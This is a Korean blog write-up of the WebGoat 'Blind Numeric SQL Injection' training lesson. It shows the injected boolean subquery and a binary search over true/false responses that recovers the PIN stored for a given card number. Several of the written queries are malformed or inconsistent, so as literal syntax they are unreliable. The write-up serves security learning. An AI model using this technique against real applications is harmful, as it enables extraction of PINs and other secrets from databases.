Web/Wargame

[WebGoat] Blind Numeric SQL Injection

와븨 2024. 8. 25. 02:13

문제

pins 테이블에서 1111222233334444인 행에 대한 pin 필드의 값를 찾는 문제
 


 
SELECT * from accounts where account_number=101

SQL 쿼리는 위와 같다.
 
(1) cc_number는 111122223333444
(2) 테이블명은 pins
(3) 필드의 값은 pin 이다.
이와 같은 조건을 출력하는 SQL 문을 작성하면 select pin from pins where cc_number='1111222233334444' 이 된다.
따라서, 공격 쿼리는 다음과 같다.
 

SELECT * from accounts where account_number= '1111222233334444'  101 and (select pin from pins where cc_number='1111222233334444')>[숫자]

 
 
 
1) SELECT pin from pins where cc_number=1111222233334444  101 and select pin from pins where cc_number='1111222233334444'>2000

pin 값은 2000보다 크다.
 
 
2) SELECT pin from pins where cc_number=1111222233334444  101 and select pin from pins where cc_number='1111222233334444'>3000

pin 값은 3000보다 작다.
 
 
3) SELECT pin from pins where cc_number=1111222233334444  101 and select pin from pins where cc_number='1111222233334444'>2500

pin 값은 2500보다 작다.
 
이를 계속 해보면,
 >2400 => invalid
 >2300 => vaild
 >2350 => vaild
 >2370 => invalid
 >2360 => valid
 >2365 => invalid
>2364 => invalid
>2363 => valid
=2364 => valid
 
따라서 pin 값은 2364이다.